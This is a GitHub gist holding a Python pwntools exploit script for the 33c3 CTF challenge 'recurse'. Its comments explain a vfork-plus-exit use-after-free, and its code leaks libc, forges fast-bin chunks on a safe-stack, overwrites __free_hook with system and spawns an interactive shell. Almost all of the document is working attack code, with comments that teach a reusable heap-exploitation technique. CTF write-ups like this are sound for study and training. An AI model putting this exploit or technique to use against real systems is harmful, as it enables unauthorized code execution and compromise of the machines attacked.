33c3 recurse exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
# The main idea of the challenge was that you can trigger a vfork() + exit() | |
# which vfork's man page warns you about. Vforked processes shares memory | |
# with their parents, so calling exit can lead to memory corruption since it | |
# will call global destructors of the binary. | |
# In this case, there was a global c++ object with a string member variable. | |
# The destructor will free that string and turn it into a use-after-free. To | |
# make it a bit more interesting, there's nothing on the heap except for the | |
# string contents and heap metadata. Oh, and I compiled it with clang's | |
# safe-stack option which will keep separate stacks for data and return | |
# addresses. The upside is, that the offset between data stack and libc are | |
# deterministic and a leak of the latter will be enough for our exploit. | |
from pwn import * | |
import struct | |
LOCAL = False | |
GDB = False | |
LTRACE = False | |
GDB_SCRIPT = ''' | |
#set follow-fork-mode parent | |
#break __libc_message | |
#break system | |
c | |
''' | |
context.update(arch='x86_64', os='linux', terminal = ['gnome-terminal', '-e']) | |
if LOCAL: | |
BINARY = ['./recurse'] | |
if GDB: | |
r = process(BINARY) | |
gdb.attach(r, GDB_SCRIPT) | |
else: | |
if LTRACE: | |
stderr_fd = open('ltrace.out', 'w') | |
r = process(['strace', '-f'] + BINARY, stderr = stderr_fd) | |
else: | |
r = process(BINARY) | |
HOST = 'localhost' | |
else: | |
HOST = '127.0.0.1' | |
PORT = 15000 | |
r = remote(HOST, PORT) | |
def enter(name = 'AAAA'): | |
r.readuntil('iterate') | |
r.sendline('2') | |
r.readuntil('name?') | |
r.sendline(name) | |
def leave(): | |
r.readuntil('iterate') | |
r.sendline('6') | |
def trigger_uaf(): | |
# work around some bug in pwntools' process() tube | |
enter('A'*(4095*34 - 61)) | |
for i in range(33): | |
r.readn(4095) | |
r.readuntil('iterate') | |
r.sendline('3') | |
leave() | |
if LOCAL: | |
MSB = '\x7f' | |
libc_leak_off = 0x398b38 | |
free_hook = 0x39a768 | |
system = 0x3eeb0 | |
else: | |
MSB = '\x2b' | |
libc_leak_off = 0x3bdb58 | |
free_hook = 0x3bf788 | |
system = 0x43f40 | |
# Methods | |
# 1) call Run() again | |
# 2) create new challenge object | |
# 3) new process | |
# 4) iterate (no new name) | |
# 5+ leave | |
# this could be 400 bytes from the start, I'm just too lazy to change the | |
# offsets further down | |
r.readuntil('name?') | |
r.sendline('A'*16) | |
r.readuntil('iterate') | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline('A'*400) | |
# this pushes string objects onto the stack that have the length set to 0x51 | |
# we'll need this later to fake a fast bin element | |
for i in range(20): | |
enter('X'*0x51) | |
for i in range(20): | |
leave() | |
# the first challenge object is a global variable. The bug is that option 3) | |
# will call vfork(); execve(); err() | |
# you're not allowed to exit() from inside a vfork'ed process as you share the | |
# memory with the main process and exit calls the destructors.. and err() does | |
# call exit internally. If you can make execve() fail, the global challenge | |
# object will be free'd. And we can easily make it fail by passing a very big | |
# argv[1] (140k bytes) | |
trigger_uaf() | |
# Our buffer that got free'd will be re-used by the next allocations. We need | |
# to allocate a chunk too big for the fast bin so that we get a pointer to the | |
# libc | |
iter_cnt = 8 | |
for i in range(iter_cnt): | |
enter('A'*48) | |
enter('C'*128) | |
for i in range(iter_cnt+1): | |
leave() | |
leak = r.readuntil('iterate') | |
leak_off = leak.find(MSB)-5 | |
assert leak_off >= 0 | |
libc = struct.unpack('<Q', leak[leak_off:leak_off+8])[0] - libc_leak_off | |
# this will point to a few bytes above where the last string object will be | |
# allocated on the stack, making the string object overwrite itself | |
safestack = libc - 0x3d8 - 0x30 | |
if not LOCAL: | |
safestack += 0x2bc4000 | |
print('libc: 0x{:x}'.format(libc)) | |
print('alloc at: 0x{:x}'.format(safestack)) | |
# this conveniently overwrites a fd pointer in the fast bin | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline(flat(safestack)) | |
# spam some small allocations to make it easier to find our target | |
enter('D'*9) | |
enter('D'*9) | |
enter('D'*9) | |
enter('D'*9) | |
enter('X'*15) | |
enter('C'*81) | |
# use up the chunks in the 0x50 fast bin | |
for i in range(7): | |
enter('X'*48) | |
# the next 0x50 allocation will land on the stack at the safestack address | |
# we need to pass the size check, that's why we spammed the 0x51 byte to the | |
# stack in the beginning | |
# prepare some more fake heap metadata to survive free'ing the fake allocation | |
enter(flat(0x30)+chr(0x30)) | |
enter(flat(0x30)+chr(0x30)) | |
enter(flat(0x60)) | |
enter(flat(0x21)) | |
# this will create a 0x50 allocation that ends up on the stack | |
enter('F'*40 + chr(0xa0)) | |
# it will overwrite it's own pointer's least significant byte with a 0xa0 | |
# we can only use 0x10 aligned values since free will complain later otherwise | |
# also it needs to point to something that looks like a valid heap chunk | |
# a bit further down the stack fulfills those requirements and we can use it | |
# to overwrite the pointer of the string a few stack frames above | |
# write the address of the __free_hook onto the stack and use it to overwrite | |
# the pointer of yet another string. With that string we can finally write to | |
# the free hook. Minus some extra space for /bin/sh | |
r.readuntil('iterate') | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline(flat(libc+free_hook-8)*5 + flat(0x30)) | |
leave() | |
leave() | |
leave() | |
leave() | |
# the last write writes to the free_hook. One more leave and it will free our | |
# controlled string which just passes it to system | |
r.readuntil('Hi, ') | |
r.sendline('1') | |
r.sendline('sh;#'.ljust(8, 'A') + flat(libc+system)) | |
r.sendline('8') | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment